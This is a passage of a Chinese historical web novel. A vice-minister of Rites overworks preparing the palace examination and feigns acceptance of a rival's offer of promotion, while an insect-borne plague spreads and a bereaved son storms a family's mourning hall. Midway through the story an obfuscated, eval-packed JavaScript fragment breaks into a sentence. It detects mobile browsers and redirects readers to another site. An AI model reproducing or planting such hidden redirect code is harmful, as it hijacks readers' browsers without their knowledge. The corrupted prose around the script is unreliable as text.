于是他垂下眼，为难道，“首辅大人，多谢您的看重。眼下，殿试筹备到了关键时候，礼部衙门一天也离不开人，我怕接手吏部后，两边都顾不好，要耽误朝廷大事啊。还是……再等等吧。” 李经章眨了下眼睛，显然没料到，游怜山这次还要拒绝。 他冷静地审视着，游怜山的眼睛布满血丝，眼下乌青，叫任何人看了都能明白，游怜山是真的撑不住几天了，只是嘴上硬而已。 李经章打定主意，笑笑“宽容”道，“也好，你再想想。不过你要知道，吏部尚书的位置，盯着的人不少，错过这个机会，下次就难了。” 游怜山起身行礼，“多谢首辅大人提醒，下官都明白。” 面前的一桌子饭菜，终究也和游怜山没有缘分，一口也没吃到游怜山的嘴里。 离开内阁，天已经黑了。 街上挂起灯笼，昏光下，看到兵马司的兵士还在巡逻。 游怜山骑在马上，走得不快，夜风一吹，一阵冷一阵热。 不知怎的，他感觉自己还有点头疼，扶扶额头，才想起下午在忙事，没吃上容芝送的粥，也没喝什么水，也许有些低血糖吧，他没太在意。 回到礼部衙门，游怜山给自己准备了甜糖水，一饮而尽。 还不够，他又一连喝了两大杯，这才在院中间的桌子前，点燃烛台，坐下。 一个小吏匆匆跑来，到跟前，脸色慌张地行礼，“侍郎大人，我们查到一个会试贡士，叫王承业，本是江南乡试第七。但他在乡试时贿赂过考官，之前科场清查的时候漏了，现在该怎么处理？” 游怜山的头还有些疼，强撑着头晕，接过递来的公文。 他快速翻看，里面详细记录着王承业贿赂考官的证据，书信，银票。 游怜山咬咬牙，朱笔在公文上批注，边说道，“取消他的殿试资格，案子直接交由顺天府查办，追究其乡试考官的责任。” 交代后，游怜山又让人把一整套殿试考生名单册拿来，找到了王承业的名字，用墨笔划去。 在旁边标注“取消资格”。 一直忙到深夜，烛台里的蜡烛快烧尽了，火苗忽明忽暗。 游怜山放下笔，要起身再去倒杯水喝，眼前一黑。 他浑身来不及反应，直直地倒在了地上，头磕在桌角，很疼，但无法动弹了。 游怜山在衙门里晕倒，消息传回司宁侯府。 老夫人邓氏正在佛堂念经，听见外面丫鬟边跑边哭。 邓氏心里一慌，起身推开佛堂的门，丫鬟跪在她面前的地上，眼泪直流，“老夫人，大爷在礼部衙门晕倒了！” 佛珠哗啦，滚了一地。 邓氏被丫鬟搀扶，快步来到书房，从桌案后抓住老侯爷游仁泰的胳膊，“孩子他爹，你快去礼部，把怜山接回来！他都晕倒了，还在衙门硬撑，要是有个三长两短，可怎么办啊！” 游仁泰面色微动，皱皱眉，开口的语气却很为难，“朝廷大事，哪能说走就走？怜山是礼部侍郎，殿试筹备离不开他……” “什么朝廷大事，比得上我儿子的命重要！” 邓氏哭了起来，双手捶打游仁泰的肩膀，“你不去，那我自己去！我就是绑，也要把他绑回来！” 游仁泰看着邓氏哭得伤心，发髻都散了，心里早就软下来。 他叹了口气，“罢了，我去！你在家等着，有消息我立刻让人回来报信。” 不多时，游仁泰带着两个仆从，骑着快马赶往礼部。 到了衙门前，看见游怜山被人扶着，仍是坚持坐在院中的桌子前，手里拿着殿试名册，一条一条和旁边的小吏核对着。 许是实在撑不住了，游怜山才趴在了桌上，脸上几乎没有血色，嘴唇干裂，额角还绑着纱布，似乎肿了一块。 游仁泰在衙门口等了会，彻底看不下去，忙上前，把儿子游怜山扶起来，“怜山，跟我回家，让大夫给你看看。” 游怜山慢慢睁开眼，看见是游仁泰，挣扎道，“爹，儿子还不能走！殿试名单还没核对完，章程也还有几处要改……” 游仁泰加重语气，强行把他架起来，“都什么时候了，还想着这些！你要是倒下了，再多事也没人办！” 游怜山不停“挣扎”着，推开游仁泰的胳膊，“爹别管我！这是我的差事，我不能撂挑子！陛下信任我，才让我负责殿试筹备，我不能辜负陛下的信任！” 父子两人拉扯间，游仁泰发了火，对跟来的游家仆从说，“把你们大爷扛起来，咱们走！” 仆从听言上前，把累到无力的游怜山扛在肩上。 游怜山还在“嘶吼”，“爹，放我下来！我要回衙门！我还没做完事！” 回到司宁侯府，游怜山被安置在长房东园。 夫人容芝早请好了大夫，等大夫为游怜山诊了脉后，听见大夫摇头道，“大爷染了风寒，加劳累过度，再不好好休养，怕要落下病根。” 容芝看着游怜山，没有说什么，只是让丫鬟按照药方抓回了药。 汤药煎好，她亲自喂给游怜山喝下，又给他盖上被子，等他睡着，她才去外间睡下。 可第二天一早，天都没亮，游怜山就悄悄起了床。 他摸摸额角的肿包，觉得前一天的头晕好了些，便换上官服，蹑手蹑脚走出屋子，走出东园，坐着马车往皇宫方向去。 早朝不能缺席，礼部的事，也不能耽误。 老夫人邓氏一早起来，就来了长房东园。 她推开游怜山的屋门，只看见一张空荡荡的床，被子倒是叠得整整齐齐。 丫鬟春丽上前，“老夫人，大爷天不亮就出门了，奴婢哪里拦得住大爷！” 邓氏叹了口气，坐在床边，拿起游怜山换下的外衫，一点点抹去上面的褶皱。 她想起近日京中的传言，说咬人的怪虫是忠勇之家谢家的内弟沈越将军，从西南带入京城的。也正巧，沈越去年回京，从西南领兵回来，带了一批西南的土产，传言说怪虫就藏在土产里。 “虽然不该轻信传言，可那虫子太诡异了，说不定，真的是西南来的……” 邓氏喃喃自语，一说起西南，邓氏顿时又想起，在西南任职的二儿子游怜泉。 还有三儿子游怜钊的儿子游编。 孙子游编去年被沈越将军带去西南参军，至今还没消息回来，不知他们叔侄俩，过得怎样，有没有被西南的虫子咬。 邓氏越想越担心，眼泪忍不住掉下来，在长衫上晕开一片，“怜泉在西南会不会遇到怪虫？游编年纪小，要是染了病，怎么办？” “老夫人！老夫人！” 门房跑来，手拿着一封信。 邓氏举到眼前来，看见信封上写着“母亲亲启”。 门房气喘吁吁地说，“这是西南来的家书，二爷寄的！” 邓氏自己已经猜到了，她拆开信封的手在抖，拿出了信纸。 这封信上写着，游怜泉在西南一切安好，西南近来天热，蚊虫也多，但他身体还好，也请母亲保重身体，不要牵挂。 还说，三房侄子游编在军中表现很好，得了将军赏识，让家里不用担心游编。 另外，还提到李家二爷李经资，以及李经章的儿子李谨，居然也在西南。 邓氏看完信，心终于落回肚子里。 她擦擦泪，笑道，“没事就好，没事就好。” 随后，忙让门房把信拿去书局，交给长房媳妇容芝。 李家的李经资和李谨出现在西南，透着古怪。 此前，长房容芝和游乘，因为秦家的婚事，和李家是有交集的，把李家的古怪消息告知他们母子，定能有个妥善的处理。 正午阳光透进窗里，落在信纸上。 邓氏斜靠着游怜山的床头，慢慢闭起眼，小睡过去。 皇宫门前，游怜山刚刚赶到。 早朝还没开始，他站在礼部的同僚之中，看着其他官员彼此交谈，大多是在议论虫咬病的事。 兵部郎中皱眉说，“城郊的临时棚屋快住满了，兵士们看守不过来，已经有病患跑出去，不知道会不会传染更多人。” 户部侍郎也是直叹气，“那病在人与人之间不传染……都是被虫咬了才犯病的。各处医馆贡献的药材，是真不够。太医院天天催着要艾草、金银花，库房的存货最多还够撑三天。” 游怜山脑袋疼着，听了这些话，心里越发沉重。 就在这时，他看见内阁首辅李经章走了进来。 李经章扫了一眼朝房，最后目光落在游怜山身上，嘴角带着若有若无的笑，但他并没过来和游怜山打招呼，转身，和其他阁臣聊起来。 掌印太监王庆祥出来宣旨，众官员进入大殿。 皇帝坐在龙椅上，一开口就问虫咬病的情况。 太医院院使跪地，“陛下，臣等仍在研究病因，只是那怪虫太过诡异，至今未能找到克制之法。” 皇帝怕是已经听烦了这一套，拍着龙椅扶手，怒道，“朕养着你们这些太医，不是让你们说‘没办法’的！再给你们三天时间，要是还拿不出方子，都给朕滚去城郊看守病患！” 太医院院使连忙磕头，“微臣遵旨！” 接着，皇帝又问起殿试筹备的事。 游怜山作为礼部的主责人，出列，躬身回道，“回陛下，殿试考生名单已核对完毕，公务已基本就绪。但是，近日礼部多名官员染病，人手短缺，还请陛下准许，从其他衙门临时调借几人，协助完成后续事宜。” 殿试是大事，皇帝当场点头，“准了。你拟个名单，交给吏部，让他们尽快调人过去。” “谢陛下！”游怜山躬身退下。 早朝结束，游怜山走出皇宫，脚步有点虚浮。 差点一脚才稳，被身后上来的李经章扶住了，“镜水，小心脚下。” 游怜山停下脚步，转身行礼，“李首辅。” 李经章慢慢松开他的胳膊，语露关切，“看你这脸色还是不好，昨天晕倒的事，陛下也知道了，还特意让我转告你，实在不行就告假回家。还有，那吏部尚书的位置，你真的不再考虑考虑？只要你点头，我就向陛下举荐，到时候，你马上可以从礼部的琐事里脱身，又能掌吏部大权，何乐而不为？” 游怜山垂下眼，故作沉吟，犹豫道，“首辅大人，不是我不愿。我只怕自己能力不足，担不起吏部尚书的重任。” 李经章笑笑，“你的能力，朝廷上下有目共睹，何必妄自菲薄？这样吧，我再给你两天时间考虑，两天后，你必须给我个准话了。吏部那边公务同样繁重，不能一直无人带领。” 游怜山躬身，“多谢大人。” 看着李经章离开，游怜山握紧了拳头。 两天之后，就是殿试前三天，也是他和容芝计划好的“点头”最佳时机。 到那时，只要他松口答应下来，李经章就会放松警惕。 而他去到李经章身边，就能一步步摸清李经章的底细，为游家和父亲争取更多翻身的机会。 回到礼部衙门，游怜山立刻拟了一份调人名单，让人送到吏部。 很快，吏部就派了五个小吏过来，虽然都是些年轻的官员，没什么经验，但至少能分担些琐碎的工作。 游怜山把他们叫到衙门口的院子前，分配任务，“两个核对考生的籍贯和身份，确保没有冒名顶替的。两个去清点笔墨纸砚，按人数清点，少了的立刻去采买；至于你，去协助太医院，统计礼部官员的染病情况，做好措施。” 五个小吏领命而去，游怜山终于能喘口气。 他坐在桌前，拿起之前没看完的章程，继续修改。 日头渐渐西斜，暮色漫天。 游怜山一拍脑袋，才想起自己忙得连午饭都没吃。 刚要叫人帮忙去买些吃的，就见夫人容芝又提着食盒进来。 但是这次，容芝身后没有跟着丫鬟。 “怎么又来了？” 游怜山起身，话语里带着刻意的冷淡，因为他知道，衙门里还有人在盯着他们夫妻。 容芝把食盒放在桌上，打开盖子，里面是两个加盐的馒头和一碟咸菜，“我原本不想来，而且，我可没有硬闯！我到了衙门口，差役一看是我给你送吃的，压根没拦我，就让我进来了！这些，是娘让我送的，说你早晨没吃到家里的饭，晌午和晚上，就必须让你多吃点。也就是咱家爹娘宠着你！你就知足吧！” 场面上的话说完，容芝用筷子夹了片咸菜，塞进游怜山嘴里，压低声音，“李经章是不是又找你了？” 游怜山点头，也压低声音，“他给了我两天时间考虑，两天后，我就必须答应他。” 容芝顿了顿，眼里闪过一丝笑，“好。对了，家中收到二弟怜泉从西南来的信，他一切安好，游编也没事。” 游怜山摸摸心口，“蛮好的啊！” 容芝却继续道，“但二弟提到一件事……李家二爷李经资，和李经章的儿子李谨，都去了西南军营。具体情况，二弟没有多说，让家里人有所准备。” 游怜山反应过来，先前李经资听从大哥李经章的安排，陪李谨去老家湖西，儿子游乘找过李经资，好说歹说了一通，希望李经资仔细考虑，要不要放弃回湖西的计划，转道去西南。 那时候，游乘自己也没有十足把握，把这扭转命运的机会，交给了李经资自己，怎么选择是李经资来决定。 没成想，李经资居然真的弃暗投明，带着不成器的侄子李谨，一同前往西南，一呆就是三年。 虽然二弟的信中没有明说，但近来西南传回一些胜利的好消息。 想必，这里面是兵部尚书谢岗和沈越将军的努力换来的，也是李经资这个土匪头子经验老道，暗中帮上不少的忙。 若当真如此，来日，二弟和谢尚书大破西南山匪，拿下最终胜利，回京面圣时，便可将李经资这个功臣推出来，仔细向皇帝介绍一番。 说，此人名叫李经资，是当年被游仁泰用死囚犯换下的土匪，也是西南剿匪成功的关键人物。 想到这些，游怜山松了口气，对夫人容芝说，“二弟好，家里就不牵挂了。你快回去，别在这里待太久，让人看见，又要怀疑。” 容芝立刻投入表演，故意“哼”了一声，提高声音，“要不是娘让我来，我才不来看你这个没良心的！” 说完转身，脚步飞快地离开。 看着容芝鞋子上飞舞的玉石坠子，游怜山笑笑，拿起馒头，咬了一口。 这顿饭，虽然简单，却觉得格外香甜，只要游家平安，让他做什么，都是值得的。 接下来两天，游怜山忙着殿试筹备，也时刻留意李经章的动静。 但是李经章很守约定，没再找他，只是偶尔派人来礼部问问情况，看起来，很有耐心。 两天后，来到殿试前三天。 游怜山主动去了内阁，找到李经章。 “首辅大人，我想好了，愿意接手吏部尚书的位置。还请大人在陛下面前多美言几句，让我在殿试结束后再正式上任，毕竟礼部的事还没办完，我不想半途而废，落人话柄。” 李经章对他的态度十分满意，笑道，“好！你想通就好！就依你之言，殿试结束后上任。你把手头的事交接清楚，放心，我会在陛下面前举荐你。” “谢大人提拔之恩！” 游怜山躬身行礼，心里却暗暗警惕，李经章此刻答应得越是痛快，就越说明他有别的算计，往后呆在此人身边，自己必须小心应对。 离开内阁，游怜山回礼部继续忙碌。 而此时的京城，虫咬病还在蔓延，但因为殿试在即，贡士们都在抓紧准备。 街上书肆里，少了些人影。 京中各高门的门房，却逐渐热闹起来。 殿试之前，士子们拿着文章游走在高官之中，以文会友，自荐，都是常事，算不得奇怪。 夜深，街上安静。 兵马司的兵士还在巡逻，火把照亮街巷。 游怜山才从礼部衙门回到侯府，容芝正在东园正堂等着他。 “怎样？”容芝上前问道。 “成了。”游怜山坐下，喝了口热茶，“李经章答应在陛下面前举荐我，等殿试结束后再上任。” 容芝给游怜山续茶，“接下来，咱们就等着看李经章的下一步动作。” 游怜山一拍肚子，“嗯。眼下最重要是把殿试办好，不能出差错。殿试结束，游乘和游余放了榜，授了官，咱们慢慢和李经章周旋。家中还有饭吗？” 容芝笑道，“多的是！你要吃多少，都有！” 距离殿试还有三天。 清晨，司宁侯府门前，石板沾着昨夜的露。 门房王伯正弯腰扫着落在院前的几片落花，沙沙轻响。 巷口传来一阵急促的马蹄声。 王伯直起身，抬头望去，一个军士装扮的少年翻身下马，快步朝这边跑来。 少年肩上挎着个磨亮的布包，额头满是汗，胸膛随着呼吸起伏，却难掩挺拔的身姿。 王伯定睛，这不是三房在西南参军的公子游编么。 “王阿爷！” 游编到了府门前，双手撑着膝盖喘气，“我是游编啊，我从西南回来了！您快帮我通报祖父祖母，大伯伯母，还有几位哥哥！” 王伯一叠声的应了，扔下扫帚，上前打量，“哎哟，真是三哥儿！您怎么突然回来？我这就去报给老夫人和大夫人！”布鞋踩在回廊里，急促得紧。 游编喘匀了气，跟着王伯走进大门。 也顾不上王伯走得太慢，自个儿一溜烟冲到了三房西园。 游编敲了几下门环，无人来应，便改去了长房东园。 东园的大门虚掩着，他推开，正好撞见容芝带着丫鬟从厨房出来。 容芝端着个瓷碟，放有几块刚蒸的米糕，见了游编，她脚步顿住，手里的米糕差点脱手。 丫鬟伸手扶住，“夫人怎么了？” “编儿？” 容芝定定神，绕过丫鬟，上来打量游编，“你回来了啊？不是在西南吗？” “大伯母，”游编抱拳行礼，布包从肩上滑到臂弯，“我是随沈将军回京的，谢尚书的夫人沈氏……没了，我们回来奔丧。” 谢家夫人的死，也不算稀奇。 容芝在街上的书局里打听到了，此刻听游编说起，忙把瓷碟放在旁边的石桌，拉着游编往正堂走，“进屋说话。” 丫鬟端起那几块米糕，疑惑道，“这到底是怎么回事？谢夫人前阵还好好的，怎么突然没了？” 正堂里，游编接过丫鬟递的茶，仰头饮尽，说起可怜的谢夫人。 其实谢夫人的死，说是和虫咬病没关系，可也脱不了干系。 近来京里都传，是沈将军从西南带的土产里藏了怪虫，才闹得满城都是病患。 前几日吏部尚书杜乔羽过世，也是因为虫患，杜家的儿子杜明认定了，是沈将军的错，三番两次带人造访谢家。 谢家现在只有谢夫人一个主母，根本拦不住杜明。 杜明要谢家赔银子，谢夫人把首饰、田契都赔了给他，他还不罢休，非要沈将军从西南回来对质。 可沈将军在西南剿匪，军营里离不开他，哪能说回就回？ 谢夫人没办法，前日，喝了毒药…… “造孽啊！”丫鬟听着，气得差点捏碎茶杯。 游编刚听说此事也很气愤，赶回来这一路上，气劲儿过去了些，却仍觉得这事儿是杜家的错。 游编还要说些什么，看见游余从南屋走来，喊道，“二哥！” 游余拿着一本摊开的策论，正低头思考，见是游编，揉揉眼睛，惊讶道，“三弟？！刚才我在书房听见你的声音，还不敢信！对了，谢夫人的事……恐怕我们得去谢家看看。沈将军刚回京，怕应付不了杜家人。” 游编点头，起身往外走，“我也是这么想， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16284087|178126||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但我一个人去就行。伯母和二哥在家等着，别耽误了殿试。” “那怎么行。” 容芝抓起椅背上的披风，快步追上他，“你也是刚回京城，不清楚现在的局势，杜明不是第一次来谢家闹，气势大得很。我和你二哥一起去，遇事也有个商量。” 三人快步走出侯府，容芝叫来马车，车夫勒住缰绳，马蹄在地上踏了两下。 容芝对车夫说，“去谢家。” 马车穿过几条街，越往谢家方向走，街上的人越少。 偶尔有几个探头探脑的邻居，看见游家的马车，又飞快缩回门后，生怕惹上什么麻烦。 到了谢家门口，朱门敞开着，里面传出男人的怒吼，夹杂着丫鬟婆子的啜泣。 容芝领着俩个孩子，快步进了院子，见地上散着几个摔碎的瓷碗，还沾着药汁。 谢家的丫鬟蹲在地上收拾，看见容芝和两位公子，连忙起身，“游夫人，快去劝劝吧！杜公子带着人，在祠堂闹呢，说要咱家的沈将军偿命！” 祠堂里，真是惊心动魄。 沈越被麻绳绑在供桌旁的柱子上，身上铠甲沾着土，头盔被人扔在地上，踩过几脚。 脖子和脸上能看见几道抓痕，渗着血丝。 杜明站在他面前，手攥一根腕粗的木棍，正对着沈越，怒吼道，“你倒是说话啊！我爹就是被你带的虫子害死的，你今天必须给我个说法，不然我就拆了谢家！” “我没做过的事，要我说什么？” 沈越用力挣扎，麻绳勒得他肩膀发红，“那我再说一遍，虫子和我没关系！我在西南剿匪，天天和土匪拼命，怎么会有余力，害京城百姓！” 他是武夫，虽习过几年文，仍是嘴笨的，翻来覆去，只有那几句辩解。 再看看杜家人凶神恶煞的模样，他突然梗着脖子，就要往旁边的供桌角撞去。 “将军不可！” 游编急忙上前，拉住沈越的胳膊，但沈越的力气大，差点把游编带得一起撞上去。 容芝也冲了上来，对着杜明，厉声喝道，“杜主事！这里是谢夫人的灵堂，你带着人在这里吵闹，不怕惊扰了谢夫人的在天之灵吗？对得起谢家十多口男丁，这么多年为朝廷做的贡献吗？” 杜明转头看见了容芝，脸色涨得通红，却把手里的木棍攥得更紧，“游夫人就不该来！这是我杜家和沈家的事，与你游家无关！你别多管闲事！” 容芝没理会他的态度，转头对游余说，“余儿，你快去礼部衙门，找你爹，让他来主持公道，晚了怕是要出人命！路上小心，别跑太快！” 此处，距离礼部衙门有几里路。 游余点头就往外跑，脚步噔噔的急促。 容芝目送儿子跑远，这才又转向杜明，语气放缓了些，“杜主事，沈将军刚从西南回来，连日劳累，气都没喘，谢夫人的后事，也还没办完，你能不能先把沈将军解开，有话我们慢慢说，总能找到解决的办法。” 杜明看着周围谢家人的敌意目光，又看了看沈越涨红的脸。 一开始决不同意，满屋子的人僵持着。 容芝只好看着窗外的天色，低声提醒杜明，“再等下去，礼部侍郎来了，看他怎么问你的罪？堂堂杜家，门第那么高，居然来闹谢家的灵堂，杜公子真有能耐……” 杜明听着，犹豫地摸着鼻子，又过了一阵，终于妥协道，“行，把沈越解开！我倒要看看，他今天能说出什么花来！” 话音落下，两个杜家家仆解开沈越身上的绳子。 沈越揉着被勒红的手腕。 这时，礼部侍郎游怜山跟着游余，走了进来。 杜家仆人和谢家仆人都跪下，高呼“侍郎大人”。 杜明和沈越，也拱手行了礼。 游怜山看了眼杜明，却伸手扶起沈越，“将军路上辛苦，不必多礼。” 又让谢家人给沈越搬来了椅子，扶着沈越坐下说话。 随后，游怜山仍然没管一旁的杜明，看向了夫人容芝。 游怜山故意皱起眉头，“你怎么也在？不是让你在家照看母亲吗？家里的事，还不够你忙？” 容芝配合着，“瞪”他一眼，语带“不满”，“三哥儿从西南回来，非要来谢家帮忙，那我是长辈，能坐得住吗？倒是你，早点从衙门过来，也不会闹成这样！” 周围的人听见他们的争执，都低下头小声议论。 “早就听说游侍郎和夫人不和，原来都是真的。” “游侍郎也不容易，一边要忙殿试的事，一边还要应付家里的矛盾。” 游怜山见情势不错，没再和容芝争辩，转头，看向杜明和沈越，沉声道，“杜主事，沈将军，有什么事不能等谢夫人的后事办完再说？在灵堂前吵闹，传出去像什么样？谢家和杜家的颜面，皇帝的颜面，都不要了吗？” 杜明刚要开口反驳。 沈越突然上前一步，手握住腰间的剑柄，唰一声，抽出剑。 剑刃反着烛光，冷意骇人，剑尖却对着沈越自己的胸口，“我沈越，行得正坐得端，从来没做过对不起朝廷、对不起百姓的事！既然你们都不信我，我今日便死在姐姐面前，以证谢家的清白！” “将军！” 游怜山赶紧抓住他的剑身，“不可冲动！谢尚书还在西南等着您，您要是死了，西南的匪患谁来平定？西南的百姓，谁来保护？” 游编也冲上来，紧紧按住沈越的手腕，“将军，您万万不能死！京里的人不知道您在西南的辛苦，可我们西南的将士知道！您为了保护百姓，多少次差点丢了命，您不能就这么不明不白地死！” 游家叔侄二人合力，终于将沈越手里的剑往下压，把剑夺了下来。 当啷一声，剑身弹了两下，发出脆响。 杜家人吓得往后退了几步。 几个杜家的妇人捂住了嘴，就连杜明也愣在原地。 今日来谢家，杜明只是想讨个说法，没想到，沈越会这么刚烈。 就在众人安静时，杜明看向地上的剑，上前捡起了剑，并架在游怜山的脖子上。 杜明的手因为紧张而发抖，声音却带着狠，“游侍郎，你别以为我不知道！你早就看上了我爹吏部尚书的位置，还主动去找李首辅，要求调任！我爹这才刚没了，你就迫不及待想抢他的位置，你说我不要颜面，那你自己呢？对得起朝廷对游家的信任吗？” 游怜山喉结滚动，没想到杜明会把矛头指向自己。 剑架在脖子上，他努力定神，尽量让自己平静，“杜主事，我知道，你因为你爹的过世，心里难过，我能理解你的心情。但吏部尚书的位置是朝廷任命，并非我主动争抢。你爹生前为朝廷鞠躬尽瘁，做了不少实事，只要你好好做事，将来我可以向陛下请示，为你谋个礼部郎中或者员外郎，也算是对杜家的补偿，对得住你爹的功劳。” “我不要什么补偿！我不要什么官职！” 杜明怒吼着，剑尖又往前送了送，游怜山的脖子上已经渗出了血，“我只要你放弃吏部尚书的位置！如果你非要抢，我就和你……同归于尽，我们杜家，今后也和你游家不死不休！” 游怜山还没说话，眼前闪过一道影子。 只见三房侄子游编，从旁边横冲，迅速抓住杜明的手腕一转，再反按住杜明的肩。 杜明吃痛，啊了一声，手里的剑掉在地上，整个人被游编按在地上，动弹不得。 “门外的，可是刑部的差役大哥？” 游编对着门口大喊，之前被谢家人叫来的刑部差役正好赶到。 “此人是杜家的公子杜明，在谢夫人灵堂闹事，还持刀威胁朝廷官员，快把他带走！” 刑部差役上前，拿出绳子将杜明绑了起来。 杜明挣扎不开，嘴里还在大喊，“游怜山，你们一家等着！我杜家不会罢休！你们游家，早晚要遭报应！” 差役们训斥杜明，让他安静些。 众人押着杜明准备离开，祠堂门口又传来脚步声。 转头望去，来人竟然是锦衣卫佥事钱源，带着几位锦衣卫进来，穿飞鱼服，腰间佩刀。 在众人的愣神中，钱源径直走到谢夫人的灵位前，整理了一下官服领口、袖口，躬身行了礼，然后，转身对杜明说：“杜主事，你真的误会沈越将军了！京城虫患的源头，已经找到了，是三个西南来的流民，不小心带了怪虫进来，此事和沈将军、谢家没有任何关系。锦衣卫已经把那三人送去了刑部大牢，正在审问。” 杜明脸色一惊，再看向沈越的目光，染上愧疚。 但此时已经晚了，他闹出事端，必须被刑部带走，审问，接受惩罚。 钱源安抚好了杜明的情绪，目光扫过在场的所有人，落在沈越身上，拱手道，“沈将军和谢尚书在西南剿匪，目前已传回不少的捷报，说平定了五处匪患，保护了十几个村落的百姓，他们都是朝廷的功臣！陛下已经下旨，等谢夫人的后事办完，就召您进宫，代谢尚书受奖，你怎能听信旁人的污蔑，拿性命玩笑？” 此言落下，杜明张了张嘴，却说不出话来，眼神逐渐迷茫下来。 周围的谢家和杜家人也议论起来，大家看向沈越的目光，从怀疑变成了愧疚。 几个之前跟着杜明闹事的杜家人，悄悄往后退，想藏在人群里。 得到支持的沈越看着面前的钱源，眼尾发红，最终只说了一句，“多谢钱佥事帮忙解围！” 钱源拍拍沈越的肩，“将军不必客气，澄清真相、保护功臣，也是锦衣卫的职责！你放心，散布流言的人，锦衣卫都会一一追究责任，定会严加处置，给京城百姓和谢家一个交代。” 差役们这才押着聚众闹事的杜明离开。 游怜山快步追上，对领头的差役说，“小哥，杜主事也是因为父亲过世，一时冲动才犯了错，念在他是初犯，杜尚书生前为朝廷做了不少贡献，劳苦功高，请你们在刑部大人面前求个情，对杜明从轻处理，给他一个改过自新的机会？” 差役笑着拱手，“游侍郎放心，我们会如实向大人禀报情况，不会冤枉任何一个好人。” 游怜山目送杜明走远。 再回到灵堂，他拿起香案上的香，用烛火点燃，对着谢夫人的灵位行礼，并对着谢家的管家说，“有需要帮忙的，去司宁侯府，或者直接去衙门里找我。殿试筹备的事再忙，我也抽时间过来。” 管家点头，躬身道，“谢游大人，谢游大人！” 谢家的事，告一段落。 游怜山带着容芝，游编和游余走出院门，时辰已晚，游编又是刚从西南回家，游怜山想了想，决定今日先回家，明日再去衙门。 一大家子刚要上马车，李家的管家走到跟前，行了礼。 随后，管家指着身后的马车，窗口边的，正是内阁首辅李经章，也是三房侄子游编的外祖父。 “我的编儿，几年不见，长这么高了？看来，你在西南历练得不错，比以前沉稳多了，有我李家的风范。”李经章自说自话着。 游编看着李经章，直接转过了头。 他永远记得，当年李经章的夫人，因为不满儿子李谨被李经章送离京城，在他母亲李氏回李家时，动手打了李氏，还骂李氏不知廉耻，和外男私通……害得李氏哭了许久，差点寻短见。 “编儿？” 李经章仿佛没看见游编的冷漠，转头，对游怜山说，“你是孩子大伯，我与你说更合适。编儿的外祖母，得知编儿回京了，在家张罗了不少他爱吃的菜，想着，让他母亲李襄带着编儿回李家，住几天，亲近亲近，看可不可以？” 游怜山没多考虑，点了头，“没事，我回头和三弟妹说一声，让她收拾些衣裳，晚点就过去。” 李经章满意地笑笑，对自家管家说，“你快回去告诉他外祖母，孩子和李襄稍后就到，咱一家人好好吃顿饭！” 管家应声离开。 容芝早上了马车，靠在一边闭目养神。 游怜山这会儿带着游编和游余上来，车厢晃动，游编忍不住问道，“大伯，你为什么要答应李经章？他夫人当年打了我娘，你忘了吗？我才不要去他家！我娘要是知道，肯定会很难过，说不定，她又不想活了！” 游怜山看着游编涨红的脸，叹了口气，“编儿，你心里不痛快，大伯懂得的。换作是我，我也会生气。但你要清楚，李夫人是你母亲的亲娘，李经章是你母亲的亲爹，他们是你母亲在这世上最亲的人。这……至少表面上，是最亲的。刚才，李经章在谢家门前，当着外人的面，邀请你和你娘回李家，你们要是不去，别人会怎么议论你娘？说你娘不孝，说她记恨娘家，连亲爹亲娘都不肯见，也没教好你这个亲儿子？” 游编垂下眼睛，不说话了。 谢家发生的事，就在眼前，不敢忘记。 游怜山顿了顿，担忧道，“对，来日你自己去了西南，听不见那些议论，可你娘留在京城，每天面对街坊邻里的指指点点，听那些闲言碎语。要是她一下承受不住，会不会，像谢夫人一样，想不开，寻了短见？你就忍心看你娘变成那样？” 游编立刻摇头。 他还记着当年母亲李氏被打后、偷偷抹眼泪的模样，哽咽起来，“大伯，我去李家！我听你的，去了李家，我一定乖，不惹外祖母生气，不让别人议论我娘！” 事情总算都走上了正途。 游怜山靠在夫人容芝身边，轻轻揽着三房侄子游编。 他眼睛看着的方向，却是另一边角落里的儿子游余。 殿试还有三天，但愿游乘和游余顺利过关。 62. 殿试在即，游余病重 司宁侯府，三房西园。 李氏刚从寒山寺下来，回到家，先去了正院，给婆母邓氏请安。 婆媳俩说了不少贴心话，但多数都围绕着过世的游家三郎，游怜钊。 事情已经过去四年，时至今日，李氏想起夫君怜钊，依旧陷在深深的自责里，一瞬就泪落满面。 邓氏亦是捂着脸哭红了眼。 自从怜钊过世，邓氏今天第一次向李氏问起，她和三殿下的过往。 “媳妇不敢瞒母亲，媳妇曾经有过幻想，但现在……媳妇不会再想！”李氏斩钉截铁道。 李氏从正院出来，走在墙根下，十多年前，在寒山寺和三殿下之间发生的事，浮上心头，她顿时双腿发软，蹲下去，双手抱膝，哭声带着明显的压抑。如果可能回到那时，她绝不会，让三殿下留在屋内…… 大门外传来动静，似乎有人回来。 李氏抹去泪痕，定神看去便狠狠怔住，分别三年的儿子游编，喊声“娘”，朝她跑来。 等她反应过来，游编到了她面前，他比她还高出一个头，眉眼间，也分明是夫君怜钊的影子。 “你怎的回来了？”李氏惊道，捧住游编的脸，细细地看。 游编笑出两排白牙，“回来看望娘！” 大哥和大嫂领着游余走在身后，“弟妹”，“伯母”。 李氏在邓氏那儿听说了谢家灵堂被闹，看着他们几人问道，“这是……从谢家回来的？” 容芝点点头，拉上游余，说，“你大哥找你说点事，我先回东园。” 李氏看向大哥，“大哥有什么事？是不是怜钊有消息？” 游怜山抿唇，“不是怜钊，是你父亲李首辅。” 说完他看了眼一旁的游编。 游编只好说，“娘，我们回来的路上，碰见外祖父了，说外祖母准备了饭菜，让我和娘过去李家，小住几天。” 李氏听言微怔，她的手轻轻抚了下自己的下颌，之前挨打的经历，恐怕是很难忘的。 游怜山说，“弟妹，李首辅和李夫人是长辈，亲自来邀请，还是在谢家门前，你应该回去的。” 李氏却没回话，只将儿子游编拉近身边，低头看着游编，“你愿意陪娘去一趟李家吗？” 